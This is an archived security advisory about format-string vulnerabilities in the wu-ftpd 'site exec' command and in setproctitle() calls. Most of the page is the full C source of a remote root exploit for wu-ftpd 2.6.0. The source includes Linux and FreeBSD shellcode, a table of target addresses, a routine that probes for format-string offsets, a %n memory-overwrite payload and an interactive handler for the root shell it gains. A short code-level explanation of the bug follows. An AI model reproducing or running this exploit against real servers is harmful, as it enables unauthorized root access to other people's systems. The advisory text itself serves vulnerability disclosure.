Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: unix4695.htm

wu-FTPd multiple vulnerabilities (Updated Oct/01)



1st Aug 2000 [SBWID-4695]
COMMAND

	    wuftpd

	

	

SYSTEMS AFFECTED

	    Wuftpd 6.0

	

	

PROBLEM

	    A vulnerability involving an  input validation error in  the \"site

	    exec\"  command  has  recently  been  identified  in the Washington

	    University  ftpd  (wu-ftpd)   software  package.   Sites   running

	    affected systems are advised  to update their wu-ftpd  software as

	    soon as possible.  A  similar but distinct vulnerability has  also

	    been identified that involves  a missing format string  in several

	    setproctitle() calls. It affects a broader number of ftp  daemons.

	    Please see Appendix  A of this  document for specific  information

	    about the status of specific ftpd implementations and solutions.

	

	    \"Site exec\" Vulnerability

	    =========================

	    A  vulnerability  has  been  identified  in  wu-ftpd and other ftp

	    daemons based  on the  wu-ftpd source  code.   Wu-ftpd is a common

	    package used  to provide  file transfer  protocol (ftp)  services.

	    This vulnerability is being  discussed as the wu-ftpd  \"site exec\"

	    or \"lreply\" vulnerability in various public forums.

	

	    The wu-ftpd  \"site exec\"  vulnerability is  the result  of missing

	    character-formatting  argument  in  several  function  calls  that

	    implement  the  \"site  exec\"  command  functionality.  Normally if

	    \"site  exec\"  is  enabled,  a  user  logged  into  an  ftp  server

	    (including  the  \'ftp\'   or  \'anonymous\'  user)   may  execute   a

	    restricted  subset  of  quoted  commands  on  the  server  itself.

	    However, if  a malicious  user can  pass character  format strings

	    consisting   of   carefully   constructed   *printf()   conversion

	    characters  (%f,  %p,  %n,  etc)  while  executing  a  \"site exec\"

	    command, the ftp  daemon may be  tricked into executing  arbitrary

	    code as root.

	

	    The \"site exec\" vulnerability appears to have been in the  wu-ftpd

	    code  since  the  original  wu-ftpd  2.0  came  out  in 1993.  Any

	    vendors  who  have  based  their  own  ftpd  distributions on this

	    vulnerable  code   are  also   likely  to   be  vulnerable.    The

	    vulnerability appears to  be exploitable if  a local user  account

	    can  be  used  for  ftp  login.  Also,  if the \"site exec\" command

	    functionality  is  enabled,  then   anonymous  ftp  login   allows

	    sufficient access for an attack.

	

	    setproctitle() Vulnerability

	    ============================

	    A separate vulnerability involving a missing  character-formatting

	    argument in setproctitle(), a call  which sets the string used  to

	    display  process  identifier  information,  is  also  present   in

	    wu-ftpd.   Other  ftpd  implementations  have  been  found to have

	    vulnerable  setproctitle()  calls  as  well,  including those from

	    proftpd and OpenBSD.

	

	    The setproctitle() vulnerability appears  to have been present  in

	    various ftpd implementations since  at least BSD ftpd  5.51 (which

	    predates wuarchive-ftpd  1.0). It  has also  been confirmed  to be

	    present in BSD ftpd 5.60 (the final BSD release). Any vendors  who

	    have based their  own ftpd distributions  on this vulnerable  code

	    are also likely to be vulnerable.

	

	    It should  be noted  that many  operating systems  do not  support

	    setproctitle() calls.  However, other software engineering defects

	    involving the same  type of missing  character-formatting argument

	    may be present.

	

	    tf8 posted following.   It\'s another site  exec problem that  will

	    give altered permissions...  BTW, exploit is broken to avoid  kids

	    usage.

	
	    /*

	     * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999

	     *

	     *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT

	     *   by tf8

	     *

	     * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be

	     *     released (2.6.0 is the most popular version nowadays), and it

	     *     should suffice to proof this vulnerability concept.

	     *

	     *   Site exec was never really *fixed*

	     *

	     *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,

	     *    x90, venglin, xz, MYT and lamagra.

	     *   Also greetings go to the WU-FTPD development team for including this

	     *    bug in ALL their versions.

	     *

	     *   Fuck to wuuru (he is an idiot)

	     *

	     *   Account is not required, anonymous access is enough :)

	     *

	     * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999

	     */

	

	    #include <stdio.h>

	    #include <string.h>

	    #include <stdlib.h>

	    #include <sys/types.h>

	    #include <sys/socket.h>

	    #include <sys/time.h>

	    #include <netdb.h>

	    #include <unistd.h>

	    #include <netinet/in.h>

	    #include <arpa/inet.h>

	    #include <signal.h>

	    #include <errno.h>

	

	    #ifdef __linux

	    #include <getopt.h>

	    #endif

	

	    #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)

	    #define GREEN \"33[32m\"

	    #define RED \"33[31m\"

	    #define NORM \"33[0m\"

	

	    char infin_loop[]= /* for testing purposes */

	     \"xEBxFE\";

	

	    char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */

	     \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\"

	     \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\"

	     \"x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0\"

	     \"x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80\"

	     \"x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9\"

	     \"x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75\"

	     \"xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd\"

	     \"x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46\"

	     \"x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56\"

	     \"x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53\"

	     \"x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30\"

	     \"x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e\"

	     \"x67x6cx69x6e\";

	

	    char bsd_code_d[]= /* you should call it directly (no jump/call)*/

	     \"xEBxFExEBx02xEBx05xE8xF9xFFxFFxFFx5C\"

	     \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\"

	     \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\"

	     \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\"

	     \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\"

	     \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\"

	     \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\"

	     \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\"

	     \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\"

	     \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\"

	     \"x81xC0x9Cx87xEFxC1xC1xEF\";

	

	    char linuxcode[]= /* Lam3rZ chroot() code */

	     \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\"

	     \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\"

	     \"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27\"

	     \"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31\"

	     \"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d\"

	     \"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46\"

	     \"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8\"

	     \"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c\"

	     \"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0\"

	     \"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff\"

	     \"x30x62x69x6ex30x73x68x31x2ex2ex31x31\";

	

	    #define MAX_FAILED      4

	    #define MAX_MAGIC       100

	    static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];

	    static char *magic_str=NULL;

	    int before_len=0;

	    char *target=NULL,*username=\"ftp\",*password=NULL;

	    struct targets getit;

	

	    struct targets {

		    int def;

		    char *os_descr, *shellcode;

		    int delay;

		    u_long pass_addr, addr_ret_addr;

		    int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;

	    };

	

	    struct targets targ[]={

		    {0,\"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},

		    {1,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},

		    {2,\"SuSe 6.3 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},

		    {3,\"SuSe 6.4 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},

		    {4,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)\",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

	

		    {5,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports\",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},

		    {6,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages\",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},

		    {7,\"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports\",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},

		    {8,\"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages\",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},

		    {0,NULL,NULL,0,0,0,{0},{0},0}

	    };

	

	    void usage(char*zu,int q){

	    int i, n, padding;

	    fprintf(stderr,\"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]n\"

	    \"         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]n\"

	    \"target    : host with any wuftpdnuser      : anonymous usern\"

	    \"dir       : if not anonymous user, you need to have writable directoryn\"

	    \"magic_str : magic string (see exploit description)n-g        : enables magic string diggingn\"

	    \"-x        : enables test modenpass_addr : pointer to setproctitle argumentn\"

	    \"ret_addr  : this is pointer to shellcodensystypes: n\",zu);

	     for(i=0;targ[i].os_descr!=NULL;i++){

	      padding=0;

	      fprintf(stderr,\"%s%2d - %sn\",targ[i].def?\"*\":\" \",i,targ[i].os_descr);

	      if(q>1){

	       fprintf(stderr,\"     Magic ID: [\");

	       for(n=0;targ[i].magic[n]!=0;n++){

	        if(targ[i].magic_d[n]==4)

	         padding=targ[i].magic[n];

	        fprintf(stderr,\"%02X,%02X\",targ[i].magic[n],targ[i].magic_d[n]);

	        if(targ[i].magic[n+1]!=0)

	         fprintf(stderr,\":\");

	       }

	       fprintf(stderr,\"] Padding: %dn\",padding);

	       fflush(stderr);

	      }

	     }

	     exit(1);

	    }

	

	    int connect_to_server(char*host){

	     struct hostent *hp;

	     struct sockaddr_in cl;

	     int sock;

	

	     if(host==NULL||*host==(char)0){

	      fprintf(stderr,\"Invalid hostnamen\");

	      exit(1);

	     }

	     if((cl.sin_addr.s_addr=inet_addr(host))==-1) {

	      if((hp=gethostbyname(host))==NULL) {

	       fprintf(stderr,\"Cannot resolve %sn\",host);

	       exit(1);

	      }

	      memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));

	     }

	     if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){

	      fprintf(stderr,\"Error creating socket: %sn\",strerror(errno));

	      exit(1);

	     }

	     cl.sin_family=PF_INET;

	     cl.sin_port=htons(21);

	     if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){

	      fprintf(stderr,\"Cannot connect to %s: %sn\",host,strerror(errno));

	      exit(1);

	     }

	     return sock;

	    }

	

	    int ftp_recv(int sock,char*buf,int buf_size,int disc){

	     int n=0;

	     char q;

	

	     if(disc) while((n=recv(sock,&q,1,0))==1&&q!=\'n\');

	     else {

	      (void)bzero(buf,buf_size);

	      n=recv(sock,buf,buf_size,0);

	      if(n<0){

	       fprintf(stderr,\"ftp_recv: recv failedn\");

	       exit(1);

	      }

	      buf[n]=0;

	     }

	     return n;

	    }

	    int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){

	     int n;

	     n=send(sock,what,size,0);

	     if(n!=size){

	      fprintf(stderr,\"ftp_send: failed to send. expected %d, sent %dn\", size,n);

	      shutdown(sock,2);

	      close(sock);

	      exit(1);

	     }

	     if(f)

	      return ftp_recv(sock,ans,ans_size,0);

	     return 0;

	    }

	

	    int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){

	     ftp_send(sock,buff,buff_len,q,ans,ans_len);

	     if(strncmp(ans,\"200-\",4)==0)

	       ftp_recv(sock,NULL,0,1);

	     else

	      ftp_recv(sock,ans,ans_len,0);

	

	     if(strncmp(ans,\"200-\",4)){

	      fprintf(stderr,\"Cannot find site exec response stringn\");

	      exit(1);

	     }

	     return 0;

	    }

	

	    void ftp_login(int sock,char*u_name,char*u_pass)

	    {

	     char buff[2048];

	      printf(\"loggin into system..n\");

	      snprintf(buff,2047,\"USER %srn\", u_name);

	      ftp_send(sock, buff,strlen(buff),1,buff,2047);

	      printf(GREEN\"USER %sn\"NORM\"%s\",u_name,buff);

	      snprintf(buff,2047,\"PASS %srn\",u_pass);

	      printf(GREEN\"PASS %sn\"NORM,*u_pass==\'x90\'?\"<shellcode>\":u_pass);

	      ftp_send(sock,buff,strlen(buff),1,buff,2047);

	      while(strstr(buff,\"230 \")==NULL){

	       (void)bzero(buff,2048);

	       ftp_recv(sock,buff,2048,0);

	      }

	      printf(\"%s\",buff);

	      return;

	    }

	

	    void ftp_mkchdir(int sock,char*cd,char*new)

	    {

	     char buff[2048];

	

	     sprintf(buff,\"CWD %srn\",cd);

	     printf(GREEN\"%s\"NORM,buff);

	     ftp_send(sock,buff,strlen(buff),1,buff,2047);

	     printf(\"%s\",buff);

	     sprintf(buff,\"MKD %srn\",new);

	     ftp_send(sock,buff,strlen(buff),1,buff,2047);

	     printf(GREEN\"MKD <shellcode>\"NORM\"n%s\",buff);

	     sprintf(buff,\"CWD %srn\",new);

	     ftp_send(sock,buff,strlen(buff),1,buff,2047);

	     printf(GREEN\"CWD <shellcode>\"NORM\"n%s\",buff);

	     return;

	    }

	    void process_possibly_rooted(int sock)

	    {

	     fd_set 	fd_read;

	     char buff[1024], *cmd=getit.islinux?\"/bin/uname -a;/usr/bin/id;n\":\"/usr/bin/uname -a;/usr/bin/id;n\";

	     int n;

	

	     FD_ZERO(&fd_read);

	     FD_SET(sock, &fd_read);

	     FD_SET(0, &fd_read);

	     send(sock, cmd, strlen(cmd), 0);

	     while(1) {

	      FD_SET(sock,&fd_read);

	      FD_SET(0,&fd_read);

	      if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

	      if( FD_ISSET(sock, &fd_read) ) {

	       if((n=recv(sock,buff,sizeof(buff),0))<0){

	         fprintf(stderr, \"EOFn\");

	         exit(2);

	       }

	       if(write(1,buff,n)<0)break;

	      }

	      if ( FD_ISSET(0, &fd_read) ) {

	        if((n=read(0,buff,sizeof(buff)))<0){

	          fprintf(stderr,\"EOFn\");

	          exit(2);

	        }

	        if(send(sock,buff,n,0)<0) break;

	      }

	      usleep(10);

	     }

	     fprintf(stderr,\"Connection aborted, select failed()n\");

	     exit(0);

	    }

	

	    int magic_check_f(int sock, char *str) {

	     char q[2048], ans[2048];

	

	     snprintf(q, 2048, \"site exec %s%srn\", str, \"%.f\");

	     if( strstr( q, \"rn\") == NULL) {

	      fprintf(stderr,\"Line TOO big..n\");

	      exit(-1);

	     }

	     ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);

	     if( before_len+10 < strlen(&ans[3]) ) return 0;

	     before_len=strlen(&ans[3]);

	     (void)strcat(str,\"%.f\");

	     return 1;

	    }

	    int magic_check_o(int sock, char *str) {

	     char q[2048], ans[2048];

	      snprintf(q, 2048, \"site exec %s%srn\", str, \"%c\");

	      if( strstr( q, \"rn\") == NULL) {

	       fprintf(stderr,\"Line TOO big..n\");

	       exit(-1);

	      }

	     ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);

	     if( before_len== strlen(&ans[3]) ) {

	      before_len+=1;

	      (void)strcat(str, \"%d\");

	      return 3;

	     }

	     before_len=strlen(&ans[3]);

	     (void)strcat(str,\"%c\");

	     return 2;

	    }

	

	    int magic_check_ok( int sock, char *str)

	    {

	     char q[2048], ans[2048];

	     int i ,n=1, f, padding=0;

	

	     snprintf(q, 2048,\"site exec aaaaaaaa%s%srn\", str, \"%p%p\");

	     if ( strstr(q, \"rn\" ) == NULL) {

	      fprintf(stderr, \"Line too longn\");

	      exit(-1);

	     }

	     (void)bzero(ans, 2048);

	     ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);

	     if(strstr(ans,\"0x61616161\")==NULL)

	       return 0;

	     for(i =0; i < MAX_MAGIC && magic[i]; i++);

	     magic_d[i]=4;

	     while(n){

	      for(f=0; f< 2; f++) {

	       snprintf(q, 2048,\"site exec %.*saaaa%s%srn\", padding, \"xxxx\", str, f?\"%p%p\":\"%p\");

	       (void)bzero(ans, 2048);

	       ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);

	       if( strstr(ans, \"0x61616161\")!=NULL) {

	        if (f==0) {

	         magic[i]=padding;

	         return 1;

	        } else if( f==1) {

	         strcat(str,\"%p\");

	         magic[i]=padding;

	         return 1;

	        }

	       }

	      }

	      if(padding > 4) {

	       fprintf(stderr,\"Cannot calculate padding..n\");

	       exit(1);

	      }

	      padding++;

	     }

	     return 1;

	    }

	

	

	    int magic_digger(int sock)

	    {

	     int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;

	

	     if(magic_str==NULL){

	      if((magic_str=(char*)malloc(4092))==NULL){

	       perror(\"malloc\");

	       exit(errno);

	      }

	     }

	     (void)bzero(magic_str, 4092);

	     where=0;

	     while(get_out) {

	      int q;

	      if( where >= MAX_MAGIC-1 || all_failed <= 0 )

	        return -1;

	      if( magic_check_f(sock, magic_str) ) {

	       o=0,f++;

	        if(f==1){

	         if(!magic[where])

	          magic[where]=1;

	         else

	          magic[++where]+=1;

	        magic_d[where]=1;

	        } else

	         magic[where]+=1;

	       all_failed=MAX_FAILED*2;

	       printf(\"%s\", \"%.f\"); fflush(stdout);

	       goto verify;

	      }

	      all_failed--;

	      if((q=magic_check_o(sock,magic_str))){

	       f=0,o++;

	        if(o==1){

	         if(!magic[where])

	          magic[0]=1;

	         else

	          magic[++where]+=1;

	        magic_d[where]=q;

	       } else {

	        if(magic_d[where]==q)

	         magic[where]+=1;

	        else {

	         magic[++where]=1;

	         magic_d[where]=q;

	        }

	       }

	       all_failed=MAX_FAILED*2;

	       printf(\"%s\", q==2?\"%c\":\"%d\");

	       fflush(stdout);

	       goto verify;

	      }

	      all_failed--;

	      continue;

	      verify:

	      if(magic_check_ok(sock,magic_str)){

	       putchar(\'n\');

	       return 0;

	      }

	     }

	     return 0;

	    }

	

	    int main(int argc, char *argv[]){

		    char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;

		    int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;

		    u_long ret_addr=0, pass_addr=0;

		    for(i=0;targ[i].os_descr!=NULL;i++);

		    while((c=getopt(argc,argv,\"t:l:m:o:s:r:p:M:P:xghH?\"))!=EOF){

		    switch(c) {

		     case \'t\': target=optarg;break;

		     case \'l\':

		       username=optarg;

		       passwd=strchr(optarg,\'/\');

		       if(passwd==NULL)

		        usage(argv[0],0);

		       *passwd++=(char)0;

		       break;

		     case \'x\': testmode=1; break;

		     case \'o\': offset=atoi(optarg);break;

		     case \'p\': pass_addr=strtoul(optarg, &optarg,16); break;

		     case \'g\': gm=1; break;

		     case \'M\': dir=optarg;mtype=1;break;

		     case \'m\':

		       {

		        int where=0;

		        if(!*optarg) {

		          fprintf(stderr,\"-m requires argument, try -h for helpn\");

		          exit(1);

		        }

		        while(1) {

		          magic[where]=strtoul(optarg,&optarg,16);

		          optarg=strchr(optarg,\',\');

		          if(optarg==NULL){

		            printf(\"comma missingn\");

			    exit(1);

		          }

		          optarg++;

		          magic_d[where++]=strtoul(optarg,&optarg,16);

		          if(strchr(optarg,\':\')==NULL){

		           magic[where]=magic_d[where]=0;

		           break;

		          }

		          optarg=strchr(optarg,\':\');

		          optarg++;

		        }

		       }

		       break;

		      case \'s\':

		        num=atoi(optarg);

		        if(num>i) {

		         fprintf(stderr,\"systype too big, try -h for helpn\");

		         exit(1);

		        }

		        break;

		      case \'r\':

		        ret_addr=strtoul(optarg,&optarg,16);

		        break;

		      case \'P\':

		        padding=atoi(optarg);

		        break;

		      case \'H\':

		         bla=2;

		      default: usage(argv[0],bla);break;

		     }

	            }

		    if(target==NULL){

		      fprintf(stderr,\"No target specified, try -h for helpn\");

		      exit(1);

		    }

		    if(num==-1||num==-2) {

		      for(i=0;!targ[i].def;i++);

		      num=i;

		    }

		    (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

	

		    if(magic[1]!=0) {

		     memcpy((void*)getit.magic,magic,sizeof(magic));

		     memcpy((void*)getit.magic_d,magic_d,sizeof(magic));

		    }

	

		    if(ret_addr)getit.addr_ret_addr=ret_addr;

		    if(pass_addr)getit.pass_addr=pass_addr;

	

		    getit.addr_ret_addr+=(offset*4);

	

	 	    sock=connect_to_server(target);

		    memset(shellcode, \'x90\', sizeof(shellcode));

		    shellcode[sizeof(shellcode)-1]=(char)0;

		    if(!mtype){

		     memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);

		     shellcode[sizeof(shellcode)-1]=(char)0;

		    }else{

		     memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));

		     shellcode[250-1]=(char)0;

		    }

		    printf(\"Target: %s (%s/%s): %sn\",target,username,*passwd==\'x90\'?\"<shellcode>\":passwd,getit.os_descr);

		    printf(\"Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %dnn\",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));

	

		    buff=(char *)malloc(1024);

		    bzero(buff,1024);

	

		    (void)ftp_recv(sock,NULL,0,1);

	

		    (void)ftp_login(sock,username,passwd);

	

		    if(gm||(magic_str==NULL&&getit.magic[0]==0)){

		     printf(\"STEP 2A: Generating magic string: \");

		     fflush(stdout);

		     magic_digger(sock);

		     memcpy((void *)getit.magic,(void*)magic,sizeof(magic));

		     memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));

		     printf(\"STEP 2B: MAGIC STRING: [\");

		    } else {

		      printf(\"STEP 2 : Skipping, magic number already exists: [\");

		    }

		    for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){

		     printf(\"%02X,%02X\",getit.magic[i],getit.magic_d[i]);

		     if(getit.magic[i+1]!=0)

		         putchar(\':\');

		    }

		    printf(\"]n\");

		    buff=(char *)realloc(buff, 4092);

		    (void)bzero(buff, 4092);

	            if(mtype)

	             ftp_mkchdir(sock,dir,shellcode);

		    printf(\"STEP 3 : Checking if we can reach our return address by format stringn\");

		    if(!magic_str){

		      magic_str=(char*)malloc(2048);

		      if(magic_str==NULL) {

		        perror(\"malloc\");

		        exit(errno);

		      }

		      (void)bzero(magic_str,2048);

		      for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){

		       switch(getit.magic_d[i]) {

		        case 1:

		           for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%.f\");

		           break;

		        case 2:

		           for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%c\");

		           break;

		        case 3:

		           for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%d\");

		           break;

		        case 4:if(padding<0)padding=getit.magic[i];break;

		        default:fprintf(stderr,\"STEP 3: INternal errorn\");

		           exit(1);

		           break;

	 	      }

		     }

		    }

		    if(padding<0){

		      for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);

		      if(num<(MAX_MAGIC-1))

		        padding=getit.magic[num];

		      else

		        fprintf(stderr,\"WARNING: PROBLEMS WITH PADDINGn\");

		    }

	

		    if(!getit.islinux){

	 	     if(!testmode)

		       snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");

		     else

		       snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");

		    } else {

	 	     if(!testmode)

		       snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");

		     else

		       snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");

		    }

		    sleep(getit.delay);

		    fflush(stdout);

		    if((buff_p=(char *)malloc(4096))==NULL){

		      fprintf(stderr,\"malloc failed.n\");

		      exit(1);

		    }

		    (void)bzero(buff_p,4096);

		    ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);

		    if((buff_p2=strchr(buff_p,\'r\'))!=NULL)

		     *buff_p2=(char)0;

		    if((buff_p2=strchr(buff_p,\'n\'))!=NULL)

		     *buff_p2=(char)0;

		    buff_p2=strstr(buff_p,\"|0x\");

		    if(buff_p2==NULL){

		      fprintf(stderr,\"Fix me, incorrect response from \'%%p\':%sn\",buff_p);

		      exit(1);

		    }

		    buff_p2+=3;

		    if(!testmode)

		      printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.addr_ret_addr);

		    else

		      printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.pass_addr);

		    sleep(getit.delay);

		    buff_p2=strstr(buff, \"%.f\");

		    *buff_p2++=(char )0;

		    strcpy(buff_p, buff);

		    if(!testmode)

		      sprintf(buff_p+strlen(buff_p),\"%s%u%c\",\"%d%.\",(u_int)getit.pass_addr,\'d\');

		    else

		      sprintf(buff_p+strlen(buff_p),\"%s\",\"%d%d\");

		    strcpy(buff_p+strlen(buff_p), buff_p2);

		    buff_p2=strchr(buff_p,\'|\');

		    buff_p2++;

		    printf(\"STEP 5 : Sending code.. this will take about 10 seconds.n\");

		    if(!testmode){

		      strcpy(buff_p2,\"%nrn\");

		      ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);

		    } else {

		      (void)bzero(buff,4096);

		      strcpy(buff_p2,\"%srn\");

		      ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);

		      printf(\"got answer: %sn\",buff);

		      exit(0);

		    }

		    free(buff_p);

		    free(buff);

		    signal(SIGINT, SIG_IGN);

		    signal(SIGHUP, SIG_IGN);

		    printf(RED\"Press ^\\ to leave shell\"NORM\"n\");

		    process_possibly_rooted(sock);

		    return 0;

	    }

	

	    Lamagra Argamal  added brought  to you  the story  behind it.  The

	    story begins inside the ftpcmd.y file.  Which has the ftp commands

	    in it.  The  bug is in the  site_exec(char *cmd) function.   There

	    is calls lreply(200,cmd); In ftpd.c we find

	
	        void lreply(int n, char *fmt,...)

	        ....

	        vreply(USE_REPLY_LONG, n, fmt, ap)

	        ...

	

	    and

	
	        void vreply(long flags, int n, char *fmt, va_list ap)

	        ...

	        vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap)

	        ....

	

	    cmd becomes fmt with vsnprintf that\'s bad.  The idea is to put  in

	    formatstrings to  get some  extra priviledges.   We can  use %n to

	    overwrite some  stuff. eg.  overwrite a  ret-address or  a null at

	    the  end  of   a  buffer  (cause   an  overflow)  or   change  the

	    configuration  or  uid  like  I  did  in  my proftp exploit (check

	    proftp_pcc.c on Packetstorm).

	

	    There are some other bugs in site_exec like

	
	            for (t = cmd; *t && !isspace(*t); t++) {

	                if (isupper(*t)) {

	                    *t = tolower(*t);

	                }

	            }

	

	    Sanitizing stops at a space??    Wuftpd is all really buggy  code.

	    Lamagra did  some checking  and found  some minor  bugs there too.

	    First in modules/mod_pam.c

	
	         /* Allocate our entries...we don\'t free this because PAM does this for us.

	           */

	          pam_user = malloc(strlen(cmd->argv[0]) + 1);

	          if(pam_user == (char *)0)

	            return pam_return_type ? ERROR(cmd) : DECLINED(cmd);

	          sstrncpy(pam_user, cmd->argv[0], strlen(cmd->argv[0]) + 1);

	

	          pam_pass = malloc(strlen(cmd->argv[1]) + 1);

	

	    Pam doesn\'t free these  according to me. So  this could lead to  a

	    pottential system DoS  if abused. Fortunatly  proftpd has a  limit

	    of 3 on USER/PASS.

	

	    Second, in  the set_proc_title(char  *fmt,...) function  in main.c

	    It  constructs  a  buffer  with  hostname  + user + cmd to replace

	    argv[0].  If  setproctitle(char  *fmt,...)  is  available (only on

	    debian and bsd).   It calls setproctitle(statsbuf); what  re-opens

	    the old bug Not a big thing since almost nobody has it.

	

	    According to  Eric Hines  it has  come to  his discovery that some

	    systems at MIT  are for example  vulnerable to the  vulnerability,

	    and  some   aren\'t..  (All)   with  the   same  default   RH   6.2

